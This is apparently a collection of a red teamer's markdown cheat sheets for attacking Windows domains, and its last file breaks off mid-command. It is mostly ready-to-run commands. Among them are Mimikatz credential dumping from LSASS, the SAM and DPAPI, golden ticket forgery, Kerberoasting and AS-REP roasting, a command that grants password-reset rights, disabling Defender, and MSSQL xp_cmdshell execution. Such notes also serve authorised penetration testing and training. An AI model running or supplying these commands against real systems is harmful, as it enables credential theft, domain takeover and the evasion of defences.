├── BloodHound.md ├── MSSQL.md ├── Mimikatz.md ├── Network.md ├── PowerShell.md ├── PowerView.md ├── PrivEsc.md └── README.md /BloodHound.md: -------------------------------------------------------------------------------- 1 | # BloodHound 2 | 3 | https://blog.cptjesus.com/posts/introtocypher 4 | 5 | ## Executing BloodHound 6 | 7 | As of v1.5, basic collection of everything: 8 | 9 | `Invoke-BloodHound -CollectionMethod All -CompressData -RemoveCSV` 10 | 11 | Decrease network load or modify traffic to reduce basic detection: 12 | 13 | `Invoke-BloodHound -Throttle 1500 -Jitter 10` 14 | 15 | Bloodhound execution is fussy when excuted over a beacon, so Rohan suggests using SharpHound.exe: 16 | 17 | `SharpHound.exe -c All` 18 | 19 | ## Relationships 20 | 21 | "Relationships in BloodHound always go in the direction of compromise or further privilege, whether through group membership or user credentials from a session." 22 | 23 | ### Relationship Functions 24 | 25 | `allShortestPaths` function: Finds every shortest path from each node to your target. Note that this results in significantly more data being returned and frequently isn’t something we need. 26 | 27 | ### Wildcard Matches 28 | 29 | Here’s the query that’s run each time you type a letter in the search bar: 30 | 31 | `MATCH (n) WHERE n.name =~ “(?i).*searchterm.*” RETURN n LIMIT 10` 32 | 33 | Return any nodes of any type that match the search term given. 34 | * `?i` tells Neo4j this is a case insensitive regex 35 | * `.*` on each side indicates that we want to match anything on either side. 36 | * `LIMIT 10` limits the number of items returned to the first ten. 37 | 38 | ## Advanced Queries 39 | 40 | WITH keyword example - The UI calculates the number of sessions for a group being viewed using two separate queries put together: 41 | 42 | `MATCH p=shortestPath((m:User)-[r:MemberOf*1..]->(n:Group {name: {name}})) WITH m MATCH q=((m)<-[:HasSession]-(o:Computer)) RETURN count(o)` 43 |  44 | ### Saving Custom Queries 45 | 46 | As of BloodHound v1.2, a JSON file is saved in the Electron user directory associated with BloodHound. You can edit the file by clicking the crayon next to Custom Queries on the UI, which will ask your OS to open the file in whatever your default is. On Windows, the file falls under AppData\Roaming\bloodhound. Anything in this file will be loaded into the BloodHound user interface whenever it initializes. 47 | 48 | Saving a simple query that doesn’t require any user input, like Find All Domain Admins: 49 | 50 | ``` 51 | { 52 | "queries": [ 53 | { 54 | "name": "Find all Domain Admins", 55 | "requireNodeSelect": false, 56 | "query": "MATCH (n:Group) WHERE n.name =~ {name} WITH n MATCH (n)<-[r:MemberOf*1..]-(m) RETURN n,r,m", 57 | "allowCollapse": false, 58 | "props": {"name": "(?i).*DOMAIN ADMINS.*"} 59 | } 60 | ] 61 | } 62 | ``` 63 | 64 | The intro tag for the JSON is “queries,” which corresponds to a list of the queries you’re interested in. For the simple queries, only a few pieces of data are required: 65 | 66 | * name - The name of the query to display on the UI 67 | * requireNodeSelect - Setting this to “false” designates this as a query that does not require user input 68 | * allowCollapse - Setting this to “false” will prevent the UI from collapsing nodes when running this query, logic which is used to minimize the number of nodes drawn on screen 69 | * query - The actual query to run. 70 | * props - Properties to pass into the query 71 | 72 | It’s important to note that properties, such as names, should not be passed directly into the query, but as properties. In this example, we add {name} into the query. This corresponds to the appropriately named parameter in the props object. Using properties this way ensures that escaping of strings is done properly when sending the property data to the database. 73 | The second, more complicated query is a query that needs user input of some sort. The pre-built query is structured with two different queries this time. An example is Shortest Paths to Domain Admins: query 74 | 75 | ``` 76 | { 77 | "queries": [ 78 | { 79 | "name": "Find Shortest Paths to Domain Admins", 80 | "requireNodeSelect": true, 81 | "nodeSelectQuery": { 82 | "query":"MATCH (n:Group) WHERE n.name =~ {name} RETURN n.name", 83 | "queryProps": {"name":"(?i).*DOMAIN ADMINS.*"}, 84 | "onFinish": "MATCH (n:User),(m:Group {name:{result}}),p=shortestPath((n)-[*1..]->(m)) RETURN p", 85 | "start":"", 86 | "end": "{}", 87 | "allowCollapse": true, 88 | "boxTitle": "Select domain to map..." 89 | } 90 | } 91 | ] 92 | } 93 | ``` 94 | 95 | This query has more properties to it: 96 | 97 | * name - The name to display on the UI 98 | * requireNodeSelect - We set this to “true”, this time to indicate we’re doing a more complicated query with user input 99 | * nodeSelectQuery - This JSON object contains all the actual query data 100 | * query - The query to be run to get user input 101 | * queryProps - Properties to pass to the user input query 102 | * onFinish - The query to run with your user input. Note that we use the keyword result in order to slot in our user input. This is important, as this is the name of the property passed into the onFinish query 103 | * start - The name of the start node of the query. By passing in {} the result of user input will be substituted there. 104 | * end - The name of the end node of the query. By passing in {} the result of user input will be substituted there. 105 | * allowCollapse - Setting this to “false” will prevent the UI from collapsing nodes when running this query, logic which is used to minimize the number of nodes drawn on screen 106 | * boxTitle - The title of the user input box that will be displayed 107 |  108 | Whichever one of these options is selected by the user will be passed into the onFinish query and the result will be displayed on the user interface. These two options let you make simple or complicated queries that can be persisted in the user interface. Because the queries are saved in your customqueries file, even when BloodHound updates, the queries will still be available to you for use. 109 | 110 | ## Crunching Numbers 111 | 112 | Count Local Admins where Domain Admins have sessions: 113 | 114 | ``` 115 | MATCH p = (u1:User)-[r:MemberOf|AdminTo*1..]->(c:Computer)-[r2:HasSession]->(u2:User)-[r3:MemberOf*1..]->(g:Group {name:’DOMAIN ADMINS@EXTERNAL.LOCAL’}) 116 | RETURN COUNT(DISTINCT(u1)) AS adminCount,c.name as computerName 117 | ORDER BY adminCount DESC 118 | ``` 119 | 120 | Calculate the percentage of users with a path to DA: 121 | 122 | ``` 123 | MATCH (totalUsers:User {domain:'EXTERNAL.LOCAL'}) 124 | MATCH p = shortestPath((pathToDAUsers:User {domain:'EXTERNAL.LOCAL'})-[r*1..]->(g:Group {name:'DOMAIN ADMINS@EXTERNAL.LOCAL'})) 125 | WITH COUNT(DISTINCT(totalUsers)) as totalUsers, COUNT(DISTINCT(pathToDAUsers)) as pathToDAUsers 126 | RETURN 100.0 * pathToDAUsers / totalUsers AS percentUsersToDA 127 | ``` 128 | 129 | Note: This really needs to be done via Python and the Neo4j Bolt driver. It'll probably run forever in the Neo4j console. 130 | 131 | Calculate the percentage of computers with a path to DA: 132 | 133 | ``` 134 | MATCH (totalComputers:Computer {domain:'EXTERNAL.LOCAL'}) 135 | MATCH p = shortestPath((pathToDAComputers:Computer {domain:'EXTERNAL.LOCAL'})-[r*1..]->(g:Group {name:'DOMAIN ADMINS@EXTERNAL.LOCAL'})) 136 | WITH COUNT(DISTINCT(totalComputers)) as totalComputers, COUNT(DISTINCT(pathToDAComputers)) as pathToDAComputers 137 | RETURN 100.0 * pathToDAComputers / totalComputers AS percentComputersToDA 138 | ``` 139 | 140 | Calculate the average attack path length: 141 | 142 | ``` 143 | MATCH p = shortestPath((n {domain:'EXTERNAL.LOCAL'})-[r*1..]->(g:Group {name:'DOMAIN ADMINS@EXTERNAL.LOCAL'})) 144 | RETURN toInt(AVG(LENGTH(p))) as avgPathLength 145 | ``` 146 | 147 | Calcuate average group membership **without** recursion (only direct group membership): 148 | 149 | `MATCH (u:User {domain: "EXTERNAL.LOCAL"})-[r:MemberOf]->(g:Group) WITH u.name as userName,COUNT(r) as relCount RETURN AVG(relCount)` 150 | 151 | Calcuate average group membership **with** recursion (unrolled group membership): 152 | 153 | `MATCH (u:User {domain: "EXTERNAL.LOCAL"})-[r:MemberOf*1..]->(g:Group) WITH u.name as userName,COUNT(r) as relCount RETURN AVG(relCount)` 154 | 155 | Note: Remove the `{domain: "EXTERNAL.LOCAL"}` filter if you want to query all domains in the data together. 156 | -------------------------------------------------------------------------------- /MSSQL.md: -------------------------------------------------------------------------------- 1 | # Microsoft SQL Server 2 | 3 | ## Clients 4 | 5 | ### Heidi SQL 6 | 7 | - OS: Windows 8 | - Requirements: Standalone and portable 9 | - Install: https://www.heidisql.com/ 10 | 11 | Run it and add a new connection. Very simple. 12 | 13 | ### mssql-cli 14 | 15 | - OS: Any 16 | - Requirements; Python 17 | - Install: `pip install mssql-cli`, https://github.com/dbcli/mssql-cli 18 | 19 | A really nice command line implementation with auto-complete, syntax highlighting, and pretty output. 20 | 21 | `mssql-cli -S server -U user -P password` 22 | 23 | A `-d` option specifies a database and `--auto-vertical-output` can help if running queries that will return results wider than the terminal. 24 | 25 | ### Impacket's mssqlclient.py 26 | 27 | - OS: Any 28 | - Requirements; Python 29 | -Install: https://github.com/CoreSecurity/impacket/blob/master/examples/mssqlclient.py 30 | 31 | It works and comes with Impacket. It can be kind of fussy in some cases, but supports useful `xp_cmdshell` tools. 32 | 33 | `mssqlclient.py domain/user:password@server` 34 | 35 | ## Basic Enumeration 36 | 37 | ### Queries 38 | 39 | * Get user information: `select SUSER_NAME()` 40 | * List all databases: `SELECT name FROM master.dbo.sysdatabases` or `EXEC sp_databases` 41 | * List all tables: 42 | * SQL Server 2005+: `SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE'` 43 | * Alternative: `SELECT * FROM .INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE'` 44 | * SQL Server 2000: `SELECT * FROM sysobjects WHERE xtype='U'` 45 | * List linked servers: 46 | * `EXEC sp_linkedservers` 47 | * `SELECT name, is_linked FROM sys.servers` 48 | * `SELECT * FROM master..sys.servers` 49 | 50 | ### Advanced Queries 51 | 52 | * Execute query on a remote SQL Server: `SELECT * FROM OPENQUERY("REMOTE_SERVER_NAME", 'QUERY')` 53 | * Similar to above: `EXECUTE('query') AT "REMOTE_SERVER_NAME"` 54 | 55 | ### Interesting Stored Procedures 56 | 57 | * SQL Server 2016's `sp_execute_external_script`: Potentially execute Python scripts. 58 | * `EXECUTE sp_execute_external_script @language=N'Python',@script=N'print(1+1)'` 59 | 60 | ### Using Metasploit 61 | 62 | A number of Metasploit modules exist for MSSQL. Here are some highlights worth remembering: 63 | 64 | * auxiliary(scanner/mssql/mssql_login) : Check logins against a tagret SQL Server. 65 | * auxiliary(admin/mssql/mssql_exec) : Attempts code execution against target SQL Server (xp_cmdshell). 66 | * exploit(windows/mssql/mssql_linkcrawler) : Automatically explore server links. 67 | 68 | ## Notes 69 | 70 | * Double quotes should only be used around the names of databases and the like. 71 | * Single quotes can be nested by increasing escaped single quotes: 72 | * Ex: `EXECUTE('First ''Second(''''Third'''')''')` 73 | * PowerUpSQL: https://github.com/NetSPI/PowerUpSQL -------------------------------------------------------------------------------- /Mimikatz.md: -------------------------------------------------------------------------------- 1 | # Mimikatz and Kekeo Commands 2 | 3 | Latest Mimikatz: https://github.com/gentilkiwi/mimikatz/releases 4 | 5 | ## Sekurlsa 6 | 7 | Get the classic `logonpasswords` for hashes and plaintext: 8 | 9 | `mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"` 10 | 11 | ## LSADump 12 | 13 | Dumping a computer's SAM: 14 | 15 | `mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"` 16 | 17 | This returns the SysKey, SAMKey, and hashes. 18 | 19 | Dumping cached domain credentials (MsCacheV2): 20 | 21 | `mimikatz.exe "privilege::debug" "token::elevate" "lsadump::cache"` 22 | 23 | MsCacheV2 creds are type 2100 and need to be formatted for Hashcat like so: 24 | 25 | `$DCC2$10240#USERNAME#HASH` 26 | 27 | ## DPAPI 28 | 29 | Can be used tor ecover saved credentials, like for RDP. A good example use case: https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/ 30 | 31 | Check for saved RDP credentials and other creds: 32 | 33 | `vaultcmd /listcreds:"Windows Credentials" /all` 34 | 35 | Saved creds are stored in: C:\Users\\AppData\Local\Microsoft\Credentials\* 36 | 37 | Review the contents of a user's Credentials directory: 38 | 39 | `Get-ChildItem C:\Users\\AppData\Local\Microsoft\Credentials\ -Force` 40 | 41 | Example child item: 2647629F5AA74CD934ECD2F88D64ECD0 42 | 43 | Take a look at blob with Mimikatz: 44 | `mimikatz.exe "dpapi::cred /in:C:\Users\some_user\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0"` 45 | 46 | `pbData` is what we want to decrypt and `guidMasterKey` is the key. 47 | 48 | Check lsass.exe for the key: 49 | `mimikatz.exe "privilege::debug" "sekurlsa::dpapi"` 50 | 51 | Look for a `masterkey` field associated with the target user. Assuming one is found, decrypt the cached credentials: 52 | 53 | `mimikatz.exe "dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b"` 54 | 55 | Plaintext password is found in `CredentialBlob`. 56 | 57 | ## Kerberos 58 | 59 | ### Pass The Ticket 60 | 61 | Injects one or more tickets into memory: 62 | 63 | `mimikatz.exe "kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi"` 64 | 65 | ### Export Tickets 66 | 67 | List and export tickets for the current session: 68 | 69 | `mimikatz.exe "kerberos::list /export"` 70 | 71 | ### Golden Tickets 72 | 73 | First, extract the krbtgt account's NTLM hash from a domain controller. Using Mimikatz with access to a DC: 74 | 75 | `mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt"` 76 | 77 | This returns the Domain SID and hash. Now a Golden Ticket can be made for: 78 | 79 | * User: The name of the user account the ticket will be created for. This can be a real account name, but it doesn’t have to be. 80 | * ID: The RID of the account you will be impersonating. This could be a real account ID, such as the default administrator ID of 500, or a fake ID. 81 | * Groups: A list of groups to which the account in the ticket will belong. This will include Domain Admins by default, so the ticket will be created with the maximum privileges. 82 | * SIDs: This will insert a SID into the SIDHistory attribute of the account in the ticket. This is useful to authenticate across domains. 83 | 84 | Making the ticket: 85 | 86 | `mimikatz.exe "kerberos::golden /domain:contoso.local /sid:S-1-5-21-... /krbtgt: /user:chris /id:500 /ptt" "misc::cmd"` 87 | 88 | Calling `/ptt` injects the Golden Ticket into memory. Then `misc::cmd` spawns a new command window with the ticket in memory. 89 | 90 | ## Mimikatz from Meterpreter 91 | 92 | Migrate to a 64-bit process before proceeding. Then `use kiwi` or `use mimikatz`. 93 | 94 | ## Mimikatz from a Beacon 95 | 96 | The `logonpasswords` command will use mimikatz to recover plaintext passwords and hashes for users who are logged on to the current system. The logonpasswords command is the same as [beacon] -> Access -> Run Mimikatz. 97 | 98 | Use `dcsync [DOMAIN.FQDN] [DOMAIN\user]` to pull a password hash for a user from the domain controller. This technique uses Windows APIs built to sync information between domain controllers. It requires a Domain Administrator trust relationship. Beacon uses Mimikatz to execute this technique. 99 | 100 | Use `mimikatz` to execute a custom Mimikatz command, such as those above. Prefix a command with a `!` to force mimikatz to elevate to SYSTEM before it runs your command. For example, mimikatz `!lsa::cache` will recover salted password hashes cached by the system. -------------------------------------------------------------------------------- /Network.md: -------------------------------------------------------------------------------- 1 | # Network Mapping 2 | 3 | ## Nmap 4 | 5 | ### Quick Initial Discovery 6 | 7 | `nmap -sSC -F --open --reason -oA -iL ` 8 | 9 | ### Basic TCP Scan 10 | 11 | `nmap -sS -p- -g 53 --open --reason --max-retries 3 --min-rate 200 --max-rtt-timeout 300ms -oA -iL ` 12 | 13 | ### Basic UDP Scan 14 | 15 | `nmap -sU --top-ports 1000 --open --reason -R --max-retries 3 --min-rate 200 --max-rtt-timeout 300ms -oA -iL ` 16 | 17 | ### Generate a Quick List of Ports 18 | 19 | Scan the localhost and output XML format to grep for services and then copy the port numbers: 20 | 21 | `nmap --top-ports 1000 localhost -oX - | grep services` 22 | 23 | Then edit as desired and feed the port numbers ot Masscan. 24 | 25 | ## Discovery With Masscan 26 | 27 | Discover live hosts using Nmap's top 1000 ports list and save the grepable output: 28 | 29 | `masscan --rate 15000 -p1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389 -iL scope.txt -oG masscan.gnmap` 30 | 31 | Grab the live hosts from the Masscan output: 32 | 33 | `egrep '^Host: ' masscan.gnmap | cut -d" " -f2 | sort | uniq > live_hosts.txt` 34 | 35 | Run a more intensive Nmap scan against just the live hosts with `-PN`. -------------------------------------------------------------------------------- /PowerShell.md: -------------------------------------------------------------------------------- 1 | # PowerShell Cheatsheet 2 | 3 | ## Quick Checks 4 | 5 | Check the language mode: 6 | 7 | `$ExecutionContext.SessionState.LanguageMode` 8 | 9 | Check the version: 10 | 11 | `$PSVersionTable.PSVersion` 12 | 13 | ## Remote PowerShell Sessions 14 | 15 | WinRM access is governed by the Remote Management Users group. If we have access, easily checked remotely by probing with CrackMapExec, `Invoke-Command` allows for running remote commands: 16 | 17 | `Invoke-Command -ComputerName target -Credential Credential -ScriptBlock {whoami}` 18 | 19 | We can also enter an SSH-like session with PowerShell: 20 | 21 | `Enter-PSSession -ComputerName target -Credential $Credential` 22 | 23 | Sessions can also be set to variables and run in the background: 24 | 25 | `$sess = New-PSSession -ComputerName target -Credential $Credential` 26 | 27 | ### Managing Sessions 28 | 29 | Background sessions can be listed with: 30 | 31 | `Get-PSSession` 32 | 33 | Enter a PS Session with: 34 | 35 | `Enter-PSSession -id #` 36 | 37 | Removing sessions can be done with: 38 | 39 | `Exit-PSSession` in an active session, or 40 | 41 | `Get-PSSession | Disconnect-PSSession` to kill all background sessions. 42 | 43 | ### Copying To and From Sessions 44 | 45 | `Copy-Item` facilitates moving files using `-ToSession` and `-FromSession`: 46 | 47 | `Copy-Item -ToSession $sess -Path "C:\Users\Administrator\Desktop\" -Destination "C:\Users\Administrator\Desktop\evil.ps1" -Recurse` 48 | 49 | `Copy-Item -FromSession $sess -Path "C:\Users\Administrator\Desktop\lootz\" -Destination "C:\Users\Administrator\Desktop\" -Recurse` 50 | 51 | You just can't copy from one session to another. 52 | 53 | ### Nesting PSSessions 54 | 55 | We can use PS Remoting to execute commands on a secondary remote machine for lateral movement or moving deeper into a network. 56 | 57 | `Invoke-Command` can be nested to execute a command on Computer A which then executes a command on Computer B. 58 | 59 | However, using PSSession for this may lead to certain commands failing due what Microsoft calls the "double hop problem." 60 | 61 | https://blogs.msdn.microsoft.com/clustering/2009/06/25/powershell-remoting-and-the-double-hop-problem/ 62 | 63 | "...will fail because you are trying to make a remote operation from an environment which is already using a remote connection – this is known as the “double-hop” problem." 64 | 65 | When a nested PSSession is desired, enable CredSSP to allow delgation of creds on to the next machine. 66 | 67 | ### Enabling Remoting 68 | 69 | First, enable remoting in an administrative PowerShell window: 70 | 71 | `Enable-PSRemoting -Force` 72 | 73 | Check WinRM: 74 | 75 | `Set-Service WinRM -StartMode Automatic` 76 | `Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}` 77 | 78 | Trust all (*) hosts so we can use IP addresses instead of hostnames: 79 | 80 | `Set-Item WSMan:localhost\client\trustedhosts -value *` 81 | 82 | `Get-Item WSMan:\localhost\Client\TrustedHosts` 83 | 84 | ## Messing with AV 85 | 86 | Check age of Defender's AV signatures: 87 | 88 | `Get-MpComputerStatus | Select AntivirusSignature*` 89 | 90 | Disable Defender: 91 | 92 | `Set-MpPreference -DisableRealtimeMonitoring $true` -------------------------------------------------------------------------------- /PowerView.md: -------------------------------------------------------------------------------- 1 | # PowerView Enumeration 2 | 3 | Remember to clone the dev branch! 4 | 5 | https://powersploit.readthedocs.io/en/latest/Recon/ 6 | 7 | https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon 8 | 9 | https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993 10 | 11 | ## Some PowerView Basics 12 | 13 | `-Properties` : samaccountname,lastlogon, using -FindOne to first determine the property names you want to extract. 14 | 15 | `-Identity` : Accepts not just a samAccountName, but also distinguishedName, GUID, object SID, and dnsHostName in the computer case. 16 | 17 | ## Begining Enumeration 18 | 19 | http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/ 20 | 21 | ## Users and Groups 22 | 23 | Get all the groups a user is effectively a member of, 'recursing up' using tokenGroups: 24 | 25 | `Get-DomainGroup -MemberIdentity ` 26 | 27 | Get all the effective members of a group, 'recursing down': 28 | 29 | `Get-DomainGroupMember -Identity "Domain Admins" -Recurse` 30 | 31 | Get all enabled users, returning distinguishednames: 32 | 33 | `Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname` 34 | 35 | `Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname` 36 | 37 | Get all disabled users: 38 | 39 | `Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)"` 40 | 41 | `Get-DomainUser -UACFilter ACCOUNTDISABLE` 42 | 43 | ### Domain Trusts 44 | 45 | * `Get-NetForestDomains` : See all the domains in the current forest. 46 | * `Get-NetDomainTrusts` : See what domain trusts I can currently see (à la nltest). 47 | * `Get-NetForestTrusts` : See if there are any implicit forest trusts. 48 | * `Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv` 49 | 50 | Trusted domain objects are replicated in the global catalog, so we can enumerate every single internal and external trust that all domains in our current forest have extremely quickly, and only with traffic to our current PDC by running: 51 | 52 | `Get-DomainTrust -SearchBase “GC://$($ENV:USERDNSDOMAIN)”` 53 | 54 | Harmj0y's TrustVisualizer can take the trusts.csv and make a graph: 55 | 56 | https://github.com/HarmJ0y/TrustVisualizer 57 | 58 | **Green** edges mean “within forest” 59 | **Red** means external 60 | **Blue** means inter-forest trust relationships 61 | 62 | ### High Value Users 63 | 64 | With PowerView 2.0, you can now easily enumerate all users and groups where AdminCount=1 with: 65 | 66 | `Get-DomainUser -AdminCount and Get-NetGroup -AdminCount` 67 | 68 | This lets you quickly find all high value accounts, even if they’ve been moved out of a protected group. `Invoke-UserHunter` now also accepts an `-AdminCount` flag, letting you easily hunt for all high valued users in the domain. 69 | 70 | ### ACL Access Between Objects 71 | 72 | Use PowerView to list ACLs for a specified user (using SID): 73 | 74 | `Get-DomainObjectAcl -Credential $Creds | ? { ($_.SecurityIdentifier -Match '^') -and ($_.ActiveDirectoryRights -Match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}` 75 | 76 | This gets the ACLs for the provided user credentials and pipes the results into a filter looking for the provided SID and various interesting privileges. The SID will usually reference a group. 77 | 78 | Get SIDs using: 79 | 80 | `Convert-NameToSid ` 81 | 82 | Enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names: 83 | 84 | `Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local` 85 | 86 | Grant user 'will' the rights to change 'matt's password: 87 | 88 | `Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose` 89 | 90 | ### Computers 91 | 92 | Turn a list of computer short names to FQDNs, using a global catalog: 93 | 94 | `gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname}` 95 | 96 | ## Token Impersonation 97 | 98 | http://www.harmj0y.net/blog/powershell/make-powerview-great-again/ 99 | 100 | Version 2 of powershell.exe starts in a multi-threaded apartment state, while Version 3+ starts in a single-threaded apartment state. The LogonUser() call works in both situations, but when you try to call ImpersonateLoggedOnUser() to impersonate the loggedon user token in Version 2, the call succeeds but the newly-impersonated token isn’t applied to newly spawned actions and we don’t get our alternate user context. PowerShell v3 and up is fine, and you can force PowerShell Version 2 to launch in a single-threaded apartment state with `powershell.exe -sta`, but it’s still potentially problematic. 101 | 102 | Note: This can be a problem when using a remote PSSession. Keep this in mind. 103 | 104 | ### Setting Creds 105 | 106 | Option A, create some PSCredentials manually: 107 | 108 | ``` 109 | $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 110 | $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 111 | Get-DomainUser -Credential $Cred 112 | ``` 113 | 114 | Option B, prompt for username and password: 115 | 116 | `$Cred = Get-Credential` 117 | 118 | ## Kerberoasting 119 | 120 | PowerView's dev branch contains Invoke-Kerberoast, so no need to fetch it from another repo, like Empire. Invoke-Kerberoast "wraps the logic from Get-NetUser -SPN (to enumerate user accounts with a non-null servicePrincipalName) and Get-SPNTicket to request associated TGS tickets." 121 | 122 | https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ 123 | 124 | A very basic Kerberoast: 125 | 126 | `Invoke-Keberoast | fl` 127 | 128 | Specifying a domain, requesting only potentially privileged users, and outputting to Hashcat: 129 | 130 | `Invoke-Keberoast -AdminCount -Domain contoso.local -OutputFormat Hashcat | fl` 131 | 132 | "Note that the -AdminCount flag only Kerberoasts accounts with AdminCount=1, meaning user accounts that are (or were) ‘protected’ and, therefore, almost always highly privileged." 133 | 134 | Alternative method: Using `Get-DomainUser -SPN` to get all domain users with an SPN. Then pipe the results into a call to `Get-DomainSPNTicket` to request the SPN for each user. Finally, export the results to a CSV file instead of stdout. 135 | 136 | `Get-Domainuser -Credential $Credential -Server dc01.contoso.local -SPN | Get-DomainSPNTicket -Credential $Credential -OutputFormat Hashcat | Export-Csv C:\Users\Administrator\Desktop\spns.csv –NoTypeInformation` 137 | 138 | Find all service accounts in "Domain Admins": 139 | 140 | `Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}` 141 | 142 | ### Targeted Kerberoasting 143 | 144 | Kerberoast any users in a particular OU with SPNs set: 145 | 146 | `Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"` 147 | 148 | ### Roasting AS-REPs 149 | 150 | https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ 151 | 152 | If you can enumerate any accounts in a Windows domain that don’t require Kerberos preauthentication, you can now easily request a piece of encrypted information for said accounts and efficiently crack the material offline, revealing the user’s password. 153 | 154 | Check for users who don't have kerberos preauthentication set: 155 | 156 | `Get-DomainUser -PreauthNotRequired 